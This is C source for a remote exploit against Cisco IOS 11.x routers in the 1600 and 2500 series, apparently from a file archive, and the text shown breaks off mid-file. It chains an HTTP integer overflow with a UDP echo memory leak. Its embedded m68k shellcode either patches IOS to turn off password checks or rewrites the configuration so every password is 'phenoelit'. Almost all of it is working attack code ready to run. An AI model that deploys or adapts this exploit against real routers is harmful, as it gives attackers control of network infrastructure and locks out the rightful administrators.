home *** CD-ROM | disk | FTP | other *** search
- /*
- * ..--==[[ Phenoelit ]]==--..
- * / \
- * | CISCO CASUM EST |
- * \.. ../
- * ~~---==(MMIII)==---~~
- *
- *
- * Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using
- * IOS 11.x UDP Echo memory leak for shellcode placing and address calculation.
- *
- * This code does support exploitation of any 11.x Cisco 1600 and 2500 series
- * running "ip http server" and "service udp-small-servers". In other words,
- * port 80 TCP and port 7 UDP have to be open. The exploitation will take a
- * very long time since the overflow is triggered by sending 2 Gigabytes of
- * data to the device. Depending on your connection to the target, this may
- * take up to several DAYS.
- *
- * Shellcodes:
- * o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS
- * patching shellcode is used. After that, the device will no longer
- * validate VTY and enable access passwords. Mission accomplished.
- * o In case of any other 11.x IOS or in case it runs from flash where
- * code patching is more complicated, the shellcode will replace all
- * passwords in the config with "phenoelit" and reboot the box. Change
- * the passwords in the shellcodes if you like.
- *
- * ---
- * FX of Phenoelit <fx at phenoelit.de>
- *
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
-
- #include <netinet/in.h>
- #include <rpc/types.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
-
- #include "protocols.h"
- #include "packets.h"
-
- char m68nop[] = "\x4E\x71";
- char returncode[] =
- "\x24\x7c\x02\x0b\xfe\x30" //moveal #34340400,%a2 (0x00000000)
- "\x34\xbc\x4e\x75" //movew #20085,%a2@ (0x00000006)
- "\x24\x7c\x02\x04\xae\xfa" //moveal #33861370,%a2 (0x0000000A)
- "\x24\xfc\x30\x3c\x00\x01" //movel #809238529,%a2@+ (0x00000010)
- "\x24\xfc\x4c\xee\x04\x0c" //movel #1290667020,%a2@+ (0x00000016)
- "\x24\xfc\xff\xf4\x4e\x5e" //movel #-766370,%a2@+ (0x0000001C)
- "\x24\xfc\x4e\x75\x00\x00" //movel #1316290560,%a2@+ (0x00000022)
- "\x24\x7c\x02\x07\x21\x6a" //moveal #34021738,%a2 (0x00000028)
- "\x34\xbc\x4e\x71" //movew #20081,%a2@ (0x0000002E)
- "\x24\x4f" //moveal %sp,%a2 (0x00000032)
- "\x0c\x1f\x00\x02" //cmpib #2,%sp@+ (0x00000034)
- "\x0c\x97\x02\x19\xfc\xc0" //cmpil #35257536,%sp@ (0x00000038)
- "\x66\x00\xff\xf4" //bnew 34 <findret> (0x0000003E)
- "\x24\x8f" //movel %sp,%a2@ (0x00000042)
- "\x59\x92" //subql #4,%a2@ (0x00000044)
- "\x2c\x52" //moveal %a2@,%fp (0x00000046)
- "\x42\x80" //clrl %d0 (0x00000048)
- "\x4c\xee\x04\x00\xff\xfc" //moveml %fp@(-4),%a2 (0x0000004A)
- "\x4e\x5e" //unlk %fp (0x00000050)
- "\x4e\x75" //rts (0x00000052)
- ;
-
- char modcfg[] =
- "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x00000000)
- "\xe2\xd0" //lsrw %a0@ (0x00000006)
- "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000008)
- "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x0000000C)
- "\x30\xbc\x00\x01" //movew #1,%a0@ (0x00000012)
- "\x20\x7c\x0e\x00\x00\x00" //moveal #234881024,%a0 (0x00000016)
- "\x54\x88" //addql #2,%a0 (0x0000001C)
- "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000001E)
- "\x66\xf8" //bnes 1c <find_magic> (0x00000022)
- "\x22\x48" //moveal %a0,%a1 (0x00000024)
- "\x58\x89" //addql #4,%a1 (0x00000026)
- "\x24\x49" //moveal %a1,%a2 (0x00000028)
- "\x50\x8a" //addql #8,%a2 (0x0000002A)
- "\x50\x8a" //addql #8,%a2 (0x0000002C)
- "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000002E)
- "\x67\x28" //beqs 5c <end_of_config> (0x00000032)
- "\x4b\xfa\x00\xc6" //lea %pc@(fc <S_password>),%a5 (0x00000034)
- "\x61\x5a" //bsrs 94 <strstr> (0x00000038)
- "\x4a\x80" //tstl %d0 (0x0000003A)
- "\x67\x08" //beqs 46 <next1> (0x0000003C)
- "\x28\x40" //moveal %d0,%a4 (0x0000003E)
- "\x4b\xfa\x00\xcf" //lea %pc@(111 <REPLACE_password>),%a5 (0x00000040)
- "\x61\x62" //bsrs a8 <nvcopy> (0x00000044)
- "\x4b\xfa\x00\xc0" //lea %pc@(108 <S_enable>),%a5 (0x00000046)
- "\x61\x48" //bsrs 94 <strstr> (0x0000004A)
- "\x4a\x80" //tstl %d0 (0x0000004C)
- "\x67\x08" //beqs 58 <next2> (0x0000004E)
- "\x28\x40" //moveal %d0,%a4 (0x00000050)
- "\x4b\xfa\x00\xc8" //lea %pc@(11c <REPLACE_enable>),%a5 (0x00000052)
- "\x61\x50" //bsrs a8 <nvcopy> (0x00000056)
- "\x52\x8a" //addql #1,%a2 (0x00000058)
- "\x60\xd2" //bras 2e <modmain> (0x0000005A)
- "\x32\xbc\x00\x00" //movew #0,%a1@ (0x0000005C)
- "\x7e\x01" //moveq #1,%d7 (0x00000060)
- "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000062)
- "\x9d\x47" //subxw %d7,%d6 (0x00000068)
- "\x6b\xfc" //bmis 68 <chksm_delay> (0x0000006A)
- "\x2a\x48" //moveal %a0,%a5 (0x0000006C)
- "\x61\x50" //bsrs c0 <chksum> (0x0000006E)
- "\x32\x86" //movew %d6,%a1@ (0x00000070)
- "\x7e\x01" //moveq #1,%d7 (0x00000072)
- "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000074)
- "\x99\x47" //subxw %d7,%d4 (0x0000007A)
- "\x6b\xfc" //bmis 7a <final_delay> (0x0000007C)
- "\x46\xfc\x27\x00" //movew #9984,%sr (0x0000007E)
- "\x20\x7c\x0f\xf0\x00\x00" //moveal #267386880,%a0 (0x00000082)
- "\x2e\x50" //moveal %a0@,%sp (0x00000088)
- "\x20\x7c\x0f\xf0\x00\x04" //moveal #267386884,%a0 (0x0000008A)
- "\x20\x50" //moveal %a0@,%a0 (0x00000090)
- "\x4e\xd0" //jmp %a0@ (0x00000092)
- "\x28\x4a" //moveal %a2,%a4 (0x00000094)
- "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000096)
- "\x67\x08" //beqs a4 <strstr_endofstr> (0x0000009A)
- "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009C)
- "\x67\xf6" //beqs 96 <strstr_2> (0x0000009E)
- "\x42\x80" //clrl %d0 (0x000000A0)
- "\x4e\x75" //rts (0x000000A2)
- "\x20\x0c" //movel %a4,%d0 (0x000000A4)
- "\x4e\x75" //rts (0x000000A6)
- "\x7e\x01" //moveq #1,%d7 (0x000000A8)
- "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000AA)
- "\x67\x0e" //beqs be <nvcopy_end> (0x000000AE)
- "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000B0)
- "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B2)
- "\x9d\x47" //subxw %d7,%d6 (0x000000B8)
- "\x6b\xfc" //bmis b8 <nvcopy_delay> (0x000000BA)
- "\x60\xec" //bras aa <nvcopyl1> (0x000000BC)
- "\x4e\x75" //rts (0x000000BE)
- "\x42\x87" //clrl %d7 (0x000000C0)
- "\x42\x80" //clrl %d0 (0x000000C2)
- "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C4)
- "\x66\x0a" //bnes d4 <chk_hack> (0x000000C8)
- "\x52\x80" //addql #1,%d0 (0x000000CA)
- "\x0c\x80\x00\x00\x00\x0a" //cmpil #10,%d0 (0x000000CC)
- "\x67\x08" //beqs dc <chk2> (0x000000D2)
- "\x42\x86" //clrl %d6 (0x000000D4)
- "\x3c\x1d" //movew %a5@+,%d6 (0x000000D6)
- "\xde\x86" //addl %d6,%d7 (0x000000D8)
- "\x60\xe8" //bras c4 <chk1> (0x000000DA)
- "\x2c\x07" //movel %d7,%d6 (0x000000DC)
- "\x2a\x07" //movel %d7,%d5 (0x000000DE)
- "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000E0)
- "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
- "\xe0\x8d" //lsrl #8,%d5 (0x000000E8)
- "\xdc\x45" //addw %d5,%d6 (0x000000EA)
- "\x28\x06" //movel %d6,%d4 (0x000000EC)
- "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EE)
- "\x66\x00\xff\xea" //bnew e0 <chk3> (0x000000F4)
- "\x46\x46" //notw %d6 (0x000000F8)
- "\x4e\x75" //rts (0x000000FA)
-
- "\x0a"" password ""\x00"
- "\x0a""enable ""\x00"
- "phenoelit\x0a""\x00"
- "password phenoelit\x0a""\x00"
- ;
-
-
- char modcfg2k5[] =
- "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000000)
- "\x20\x7c\x02\x00\x00\x00" //moveal #33554432,%a0 (0x00000004)
- "\x54\x88" //addql #2,%a0 (0x0000000A)
- "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000000C)
- "\x66\xf8" //bnes a <find_magic> (0x00000010)
- "\x22\x48" //moveal %a0,%a1 (0x00000012)
- "\x58\x89" //addql #4,%a1 (0x00000014)
- "\x24\x49" //moveal %a1,%a2 (0x00000016)
- "\x50\x8a" //addql #8,%a2 (0x00000018)
- "\x50\x8a" //addql #8,%a2 (0x0000001A)
- "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000001C)
- "\x67\x28" //beqs 4a <end_of_config> (0x00000020)
- "\x4b\xfa\x00\xd6" //lea %pc@(fa <S_password>),%a5 (0x00000022)
- "\x61\x6a" //bsrs 92 <strstr> (0x00000026)
- "\x4a\x80" //tstl %d0 (0x00000028)
- "\x67\x08" //beqs 34 <next1> (0x0000002A)
- "\x28\x40" //moveal %d0,%a4 (0x0000002C)
- "\x4b\xfa\x00\xdf" //lea %pc@(10f <REPLACE_password>),%a5 (0x0000002E)
- "\x61\x72" //bsrs a6 <nvcopy> (0x00000032)
- "\x4b\xfa\x00\xd0" //lea %pc@(106 <S_enable>),%a5 (0x00000034)
- "\x61\x58" //bsrs 92 <strstr> (0x00000038)
- "\x4a\x80" //tstl %d0 (0x0000003A)
- "\x67\x08" //beqs 46 <next2> (0x0000003C)
- "\x28\x40" //moveal %d0,%a4 (0x0000003E)
- "\x4b\xfa\x00\xd8" //lea %pc@(11a <REPLACE_enable>),%a5 (0x00000040)
- "\x61\x60" //bsrs a6 <nvcopy> (0x00000044)
- "\x52\x8a" //addql #1,%a2 (0x00000046)
- "\x60\xd2" //bras 1c <modmain> (0x00000048)
- "\x42\x80" //clrl %d0 (0x0000004A)
- "\x2a\x49" //moveal %a1,%a5 (0x0000004C)
- "\x52\x00" //addqb #1,%d0 (0x0000004E)
- "\x1a\xfc\x00\x00" //moveb #0,%a5@+ (0x00000050)
- "\x7e\x01" //moveq #1,%d7 (0x00000054)
- "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000056)
- "\x9d\x47" //subxw %d7,%d6 (0x0000005C)
- "\x6b\xfc" //bmis 5c <chksm_delay> (0x0000005E)
- "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000060)
- "\x66\xe8" //bnes 4e <chksm_del> (0x00000064)
- "\x2a\x48" //moveal %a0,%a5 (0x00000066)
- "\x61\x54" //bsrs be <chksum> (0x00000068)
- "\x2a\x49" //moveal %a1,%a5 (0x0000006A)
- "\x52\x8d" //addql #1,%a5 (0x0000006C)
- "\x42\x80" //clrl %d0 (0x0000006E)
- "\x52\x00" //addqb #1,%d0 (0x00000070)
- "\x1a\x86" //moveb %d6,%a5@ (0x00000072)
- "\x7e\x01" //moveq #1,%d7 (0x00000074)
- "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000076)
- "\x99\x47" //subxw %d7,%d4 (0x0000007C)
- "\x6b\xfc" //bmis 7c <final_delay> (0x0000007E)
- "\xe0\x4e" //lsrw #8,%d6 (0x00000080)
- "\x2a\x49" //moveal %a1,%a5 (0x00000082)
- "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000084)
- "\x66\xe6" //bnes 70 <final_wr> (0x00000088)
- "\x20\x7c\x03\x00\x00\x60" //moveal #50331744,%a0 (0x0000008A)
- "\x4e\xd0" //jmp %a0@ (0x00000090)
- "\x28\x4a" //moveal %a2,%a4 (0x00000092)
- "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000094)
- "\x67\x08" //beqs a2 <strstr_endofstr> (0x00000098)
- "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009A)
- "\x67\xf6" //beqs 94 <strstr_2> (0x0000009C)
- "\x42\x80" //clrl %d0 (0x0000009E)
- "\x4e\x75" //rts (0x000000A0)
- "\x20\x0c" //movel %a4,%d0 (0x000000A2)
- "\x4e\x75" //rts (0x000000A4)
- "\x7e\x01" //moveq #1,%d7 (0x000000A6)
- "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000A8)
- "\x67\x0e" //beqs bc <nvcopy_end> (0x000000AC)
- "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000AE)
- "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B0)
- "\x9d\x47" //subxw %d7,%d6 (0x000000B6)
- "\x6b\xfc" //bmis b6 <nvcopy_delay> (0x000000B8)
- "\x60\xec" //bras a8 <nvcopyl1> (0x000000BA)
- "\x4e\x75" //rts (0x000000BC)
- "\x42\x87" //clrl %d7 (0x000000BE)
- "\x42\x80" //clrl %d0 (0x000000C0)
- "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C2)
- "\x66\x0a" //bnes d2 <chk_hack> (0x000000C6)
- "\x52\x80" //addql #1,%d0 (0x000000C8)
- "\x0c\x80\x00\x00\x00\x14" //cmpil #20,%d0 (0x000000CA)
- "\x67\x08" //beqs da <chk2> (0x000000D0)
- "\x42\x86" //clrl %d6 (0x000000D2)
- "\x3c\x1d" //movew %a5@+,%d6 (0x000000D4)
- "\xde\x86" //addl %d6,%d7 (0x000000D6)
- "\x60\xe8" //bras c2 <chk1> (0x000000D8)
- "\x2c\x07" //movel %d7,%d6 (0x000000DA)
- "\x2a\x07" //movel %d7,%d5 (0x000000DC)
- "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000DE)
- "\xe0\x8d" //lsrl #8,%d5 (0x000000E4)
- "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
- "\xdc\x45" //addw %d5,%d6 (0x000000E8)
- "\x28\x06" //movel %d6,%d4 (0x000000EA)
- "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EC)
- "\x66\x00\xff\xea" //bnew de <chk3> (0x000000F2)
- "\x46\x46" //notw %d6 (0x000000F6)
- "\x4e\x75" //rts (0x000000F8)
-
- "\x0a"" password ""\x00"
- "\x0a""enable ""\x00"
- "phenoelit\x0a""\x00"
- "password phenoelit\x0a""\x00"
- ;
-
- //
- // address selection strategies
- //
- #define S_RANDOM 1
- #define S_LAST 2
- #define S_SMALLEST 3
- #define S_HIGHEST 4
- #define S_FREQUENT 5
- typedef struct {
- unsigned int a;
- unsigned int count;
- } addrs_t;
- #define LOW_ADDR_THR 5
- #define LOW_COUNT_THR 3
-
-
- //
- // IO memory block header based fingerprinting
- //
- static struct {
- unsigned int PC_start;
- unsigned int PC_end;
- unsigned int IO_start;
- unsigned int IO_end;
- char *name;
- unsigned char *code;
- unsigned int codelen;
- unsigned char *nop;
- unsigned int noplen;
- unsigned int fakefp;
- } cisco_boxes[] = {
- {0x08000000, 0x08ffffff, 0x02C00000, 0x02FFFFFF,
- "Cisco 1600 series, run from Flash",
- modcfg, sizeof(modcfg)-1,
- m68nop, sizeof(m68nop)-1 ,
- 0x02f0f1f2
- },
-
- {0x0208F600, 0x0208F93C, 0x02C00000, 0x02FFFFFF,
- "Cisco 1603, 11.3(11b) IP only, run from RAM",
- returncode, sizeof(returncode)-1,
- m68nop, sizeof(m68nop)-1 ,
- 0x02f0f1f2
- },
-
- {0x03000000, 0x037FFFFF, 0x00E00000, 0x00FFFFFF,
- "Cisco 2500 series, run from Flash",
- modcfg2k5, sizeof(modcfg2k5)-1,
- m68nop, sizeof(m68nop)-1,
- 0x00079000
- },
-
- {0,0,0,0,NULL,NULL,0,NULL,0,0}
- };
-
-
- // ***************** Status and other tracking *******************
-
- //
- // HTTP communication
- //
- struct {
- int sfd;
- unsigned int done;
- } http;
-
- //
- // UDP leak
- //
- #define MAXADDRS 100
- #define DEFAULTRUNS 206
- #define LOCALPORT 31336 // almost 31337 ;)
- #define PACKETMAX 1400
- struct {
- int sfd;
- int udpsfd;
- int guess;
- addrs_t addrs[MAXADDRS];
- unsigned int addrc;
- unsigned int lastaddr;
- int nop_offset;
- int nop_sled;
- } leak;
-
- //
- // config
- //
- struct {
- char *device;
- char *target;
- struct in_addr target_addr;
- int verbose;
- int testmode;
- int strategy;
- unsigned int leakme;
- unsigned int timeout;
- unsigned int leakruns;
- } cfg;
-
-
- //
- // function prototypes
- //
- void usage(char *s);
- void *smalloc(size_t s);
- int HTTPpre(void);
- void HTTPsend(char *what);
- int IOSlack(unsigned int runs, int shellcode);
- unsigned char *UDPecho( unsigned int *plen,
- unsigned char *payload, unsigned int payload_len);
- void UDPanalyze(unsigned char *b, unsigned int len,
- unsigned char *expected, unsigned int expected_length);
- unsigned int SelectAddress(void);
- int CheckForbidden(unsigned int address);
-
-
- // *************************** main code *************************
-
-
- int main(int argc, char **argv) {
- //
- // HTTP elements
- //
- char token6[] ="/Cisco";
- char token50[]="/AnotherLemmingAndAntoherLemmingAndAnotherLemmingX";
- char token48[]="/HereComesTheFinalLemmingAndClosesTheGapForever/";
- char httpend[]=" HTTP/1.0\r\n\r\n";
- char overflow[30];
- //
- // stuff we need
- //
- unsigned int i;
- int saved_guess;
- unsigned int retaddr;
- //
- // command line
- //
- char option;
- extern char *optarg;
- //
- // output stuff
- //
- double percent;
- double lpercent=(double)0;
-
-
- memset(&cfg,0,sizeof(cfg));
- memset(&leak,0,sizeof(leak));
- memset(&http,0,sizeof(http));
- //
- // set defaults
- //
- cfg.leakme=0x4C00;
- cfg.timeout=3;
- cfg.leakruns=DEFAULTRUNS;
- cfg.strategy=S_SMALLEST;
-
- while ((option=getopt(argc,argv,"vTA:t:L:R:d:i:"))!=EOF) {
- switch(option) {
- case 'v': cfg.verbose++;
- break;
- case 'T': cfg.testmode++;
- break;
- case 'A': cfg.strategy=(int)strtoul(optarg,(char **)NULL,10);
- break;
- case 't': cfg.timeout=(int)strtoul(optarg,(char **)NULL,10);
- break;
- case 'L': cfg.leakme=(int)strtoul(optarg,(char **)NULL,10);
- break;
- case 'R': cfg.leakruns=(int)strtoul(optarg,(char **)NULL,10);
- break;
- case 'd': {
- struct hostent *he;
- if ((he=gethostbyname(optarg))==NULL) {
- fprintf(stderr,"Could not resolve %s\n",cfg.target);
- return (-1);
- }
- bcopy(he->h_addr,
- (char *)&(cfg.target_addr.s_addr),
- he->h_length);
- cfg.target=smalloc(strlen(optarg)+1);
- strcpy(cfg.target,optarg);
- }
- break;
- case 'i': cfg.device=smalloc(strlen(optarg)+1);
- strcpy(cfg.device,optarg);
- break;
- default: usage(argv[0]);
- // does not return
- }
- }
-
- //
- // idiot check
- //
- if ( !(cfg.device && *((u_int32_t *)&(cfg.target_addr)) ))
- usage(argv[0]);
-
- //
- // verify the UDP leak and make sure it's a known box
- //
- if (IOSlack(1,-1)!=0) {
- fprintf(stderr,"You need an IOS 11.x target with UDP echo service enabled\n"
- "for this thing to work. Obviously, you don't have that.\n");
- return (1);
- }
- if (leak.guess==(-1)) {
- fprintf(stderr,"Apparently, you got a good target, but it's not one of the\n"
- "platforms we got code for. Life sucks.\n");
- return (1);
- } else {
- printf("Target identified as '%s'.\n",cisco_boxes[leak.guess].name);
- if (cfg.verbose) {
- printf("Using the following code:\n");
- hexdump(cisco_boxes[leak.guess].code,
- cisco_boxes[leak.guess].codelen);
- }
- saved_guess=leak.guess;
- }
- if (leak.lastaddr == 0) {
- printf("The memory leak data did not contain enough information to\n"
- "calculate the addresses correctly. The router may be busy,\n"
- "in which case this method is likely to fail!\n");
- return (2);
- } else {
- printf("Calculated address in test: 0x%08X\n",leak.lastaddr);
- }
-
- //
- // Connect to HTTP server and send the first "GET "
- //
- if (HTTPpre()!=0) return 1;
-
- //
- // fill normal buffer
- //
- printf("Sending token50 x 0x5 + token6 ...\n");
- HTTPsend(token50);
- HTTPsend(token50);
- HTTPsend(token50);
- HTTPsend(token50);
- HTTPsend(token50);
- HTTPsend(token6);
-
- //
- // send enough data to overflow the counter
- //
- i=1;
- printf("Sending token50 x 0x28F5C28 (2 Gigabytes of data)...\n");
- while (i<=0x28F5C28) {
-
- if (!cfg.testmode) HTTPsend(token50);
- http.done+=50;
- i++;
-
- //
- // output
- //
- percent = (double)http.done / (double)0x80000000;
- if ( percent > lpercent+0.0001 ) {
- printf("%5.2f%% done\n",percent * 100);
- lpercent=percent;
- }
- }
- printf("Sending final token48 ...\n");
- HTTPsend(token48);
-
- //
- // Use infoleak to transfer code and calculate address
- //
- memset(&leak,0,sizeof(leak));
- if (IOSlack(cfg.leakruns,saved_guess)!=0) {
- fprintf(stderr,"Your target does no longer leak memory. This could have\n"
- "several reasons, but it sure prevents you from exploiting it.\n");
- return (-1);
- } else {
- printf("Aquired %u addresses with our code\n",leak.addrc);
- if (leak.addrc<LOW_ADDR_THR) {
- printf( "WARNING: This is a low number of addresses.\n"
- " The target is probably busy!!\n");
- }
- }
- if (saved_guess!=leak.guess)
- printf("Errrmmm... your target type changed. Just so you know, \n"
- "it's not supposed to do that\n");
-
- //
- // prepare the overflow buffer
- //
- printf("Selecting address, using nop sled of %u and offset in the sled of %u\n",
- leak.nop_sled, leak.nop_offset);
- if ( (retaddr=SelectAddress()) == 0) return (-1);
-
- memset(&overflow,0,sizeof(overflow));
- sprintf(overflow,
- "BB%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X"
- ,
- (unsigned char)( (cisco_boxes[saved_guess].fakefp>>24)&0xFF),
- (unsigned char)( (cisco_boxes[saved_guess].fakefp>>16)&0xFF),
- (unsigned char)( (cisco_boxes[saved_guess].fakefp>> 8)&0xFF),
- (unsigned char)( (cisco_boxes[saved_guess].fakefp )&0xFF),
- (unsigned char)( (retaddr>>24)&0xFF),
- (unsigned char)( (retaddr>>16)&0xFF),
- (unsigned char)( (retaddr>> 8)&0xFF),
- (unsigned char)( (retaddr )&0xFF));
-
- if (cfg.verbose) hexdump(overflow,sizeof(overflow)-1);
-
- //
- // perform overflow and overwrite return address
- //
- printf("Sending overflow of %u bytes\n",strlen(overflow));
- HTTPsend(overflow);
- printf("Sending final HTTP/1.0\n");
- HTTPsend(httpend);
- close(http.sfd);
-
- //
- // all done
- //
- return 0;
- }
-
-
- void usage(char *s) {
- fprintf(stderr,"Usage: %s -i <interface> -d <target> [-options]\n",s);
- fprintf(stderr,"Options are:\n"
- "-v Verbose mode.\n"
- "-T Test mode, don't really exploit\n"
- "-An Address selection strategy. Values are:\n"
- " 1 (random), 2 (last), 3 (smallest), 4 (highest), 5 (most frequent)\n"
- "-tn Set timeout for info leak to n seconds\n"
- "-Ln Set requested memory leak to n bytes\n"
- "-Rn Set number of final leak runs to n\n"
- );
- exit (1);
- }
-
-
- //
- // *********************** HTTP related **************************
- //
-
-
- int HTTPpre(void) {
- char get[] = "GET ";
- struct sockaddr_in sin;
- struct hostent *he;
-
- memset(&sin,0,sizeof(struct sockaddr_in));
- if ((he=gethostbyname(cfg.target))==NULL) {
- fprintf(stderr,"Could not resolve %s\n",cfg.target);
- return (-1);
- }
-
- sin.sin_family=AF_INET;
- sin.sin_port=htons(80);
- bcopy(he->h_addr,(char *)&sin.sin_addr,he->h_length);
- bzero(&(sin.sin_zero),8);
-
- if ((http.sfd=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
- fprintf(stderr,"socket(TCP) error\n");
- return(-1);
- }
-
- printf("Connecting to HTTP server on %s ...\n",cfg.target);
-
- if (connect(http.sfd,(struct sockaddr *)&sin,sizeof(sin))<0) {
- fprintf(stderr,"Failed to connect to HTTP\n");
- return (-1);
- }
-
- printf("Connected!\n");
-
- //
- // send "GET "
- //
- HTTPsend(get);
- return 0;
- }
-
-
- void HTTPsend(char *what) {
- if (send(http.sfd,what,strlen(what),0)<0) {
- fprintf(stderr,"send() failed!\n");
- exit(-1);
- }
- }
-
-
- //
- // *********************** UDP related **************************
- //
-
- int IOSlack(unsigned int runs, int shellcode) {
- //
- // the leak packet
- //
- #define DUMMY_SIZE 512
- unsigned char *packet;
- unsigned int length;
- char dummy[DUMMY_SIZE];
- unsigned char *sc,*st;
- unsigned int sclen;
- //
- // recv stuff
- //
- char *rbuf;
- unsigned int rx;
- //
- // doing the stuff
- //
- unsigned int r;
- struct sockaddr_in frm;
- int frmlen=sizeof(struct sockaddr_in);
- fd_set rfds;
- struct timeval tv;
- int select_ret;
- int recvflag;
- struct sockaddr_in myself;
-
-
- //
- // init
- //
- leak.guess=(-1);
- r=runs;
- recvflag=0;
- st=NULL;
-
- //
- // get the sockets
- //
- if ( (leak.sfd=init_socket_IP4(cfg.device,1)) == (-1) ) {
- fprintf(stderr,"Couldn't grab a raw socket\n");
- return (-1);
- }
-
- myself.sin_family=AF_INET;
- myself.sin_port=htons(LOCALPORT);
- myself.sin_addr.s_addr=INADDR_ANY;
- if ( (leak.udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) <0) {
- fprintf(stderr,"Couldn't grab a UDP socket\n");
- return (-1);
- }
- if ( bind(leak.udpsfd,(struct sockaddr *)&myself,sizeof(struct sockaddr)) != 0) {
- fprintf(stderr,"bind() failed\n");
- return (-1);
- }
-
- //
- // determine packet contents and make a packet
- //
- if (shellcode==(-1)) {
- memset(&dummy,0x50,DUMMY_SIZE-1);
- dummy[DUMMY_SIZE-1]=0x00;
- sc=dummy;
- sclen=DUMMY_SIZE-1;
- } else {
- unsigned char *t;
- unsigned int i;
-
- t=sc=st=smalloc(PACKETMAX);
- //
- // calculate the remaining space for nops
- //
- leak.nop_sled=PACKETMAX-cisco_boxes[shellcode].codelen;
- //
- // align
- //
- while ( (leak.nop_sled % cisco_boxes[shellcode].noplen) != 0)
- leak.nop_sled--;
- for (i=0;i< (leak.nop_sled/cisco_boxes[shellcode].noplen) ;i++) {
- memcpy(t,cisco_boxes[shellcode].nop,cisco_boxes[shellcode].noplen);
- t+=cisco_boxes[shellcode].noplen;
- }
- //
- // add the real code
- //
- memcpy(t,cisco_boxes[shellcode].code,cisco_boxes[shellcode].codelen);
- t+=cisco_boxes[shellcode].codelen;
- sclen=leak.nop_sled + cisco_boxes[shellcode].codelen;
- //
- // calculate a nop_offset and align
- //
- leak.nop_offset=leak.nop_sled * 0.8;
- while ( (leak.nop_offset % cisco_boxes[shellcode].noplen) != 0)
- leak.nop_offset--;
-
- if (cfg.verbose) hexdump(st,sclen);
-
- }
- packet=UDPecho(&length,sc,sclen);
-
- //
- // allocate receive buffer
- //
- rbuf=smalloc(cfg.leakme+0x200);
-
- //
- // do it
- //
- printf("Getting IO memory leak data (%u times) ...\n",r);
- while (r--) {
- sendpack_IP4(leak.sfd,packet,length);
-
- tv.tv_sec=cfg.timeout;
- tv.tv_usec=0;
- FD_ZERO(&rfds);
- FD_SET(leak.udpsfd,&rfds);
- select_ret=select(leak.udpsfd+1,&rfds,NULL,NULL,&tv);
-
- if (select_ret>0) {
- rx=recvfrom(leak.udpsfd,rbuf,cfg.leakme,0,(struct sockaddr *)&frm,&frmlen);
- if (rx<0) {
- fprintf(stderr,"UDP recvfrom() failed\n");
- return (-1);
- }
- if (cfg.verbose) printf("Received %u bytes data\n",rx);
- if (cfg.verbose>1) hexdump(rbuf,rx);
- recvflag=1;
- //
- // analyze what we got
- //
- UDPanalyze(rbuf,rx,sc,sclen);
- } else {
- printf("Timeout at %u - may be lost packet?\n",r);
- }
- }
-
- //
- // clean up
- //
- free(packet);
- free(rbuf);
- if (st!=NULL) free(st);
- close(leak.sfd);
- close(leak.udpsfd);
- if (cfg.verbose==0) printf("\n"); // be nice
-
- if (recvflag) { return 0; } else { return 1; }
- }
-
-
- unsigned char *UDPecho(
- unsigned int *plen, // returned length of packet
- unsigned char *payload, // pointer to payload
- unsigned int payload_len // length of payload
- ) {
- unsigned char *pack;
- iphdr_t *ip;
- udphdr_t *udp;
- u_char *pay;
- u_char *t;
- u_int16_t cs;
-
- *plen=sizeof(iphdr_t)+sizeof(udphdr_t)+payload_len;
- pack=smalloc(*plen+10);
-
- ip=(iphdr_t *)pack;
- ip->version=4;
- ip->ihl=sizeof(iphdr_t)/4;
- ip->ttl=0x80;
- ip->protocol=IPPROTO_UDP;
- memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
- memcpy(&(ip->daddr.s_addr),&(cfg.target_addr),IP_ADDR_LEN);
-
- udp=(udphdr_t *)((void *)ip+sizeof(iphdr_t));
- udp->sport=htons(LOCALPORT);
- udp->dport=htons(7);
- udp->length=htons(cfg.leakme);
-
- pay=(u_char *)((void *)udp+sizeof(udphdr_t));
- t=pay;
- memcpy(pay,payload,payload_len);
- t+=payload_len;
-
- ip->tot_len=htons(*plen);
- cs=chksum((u_char *)ip,sizeof(iphdr_t));
- ip->check=cs;
-
- if (cfg.verbose>1) hexdump(pack,*plen);
- return pack;
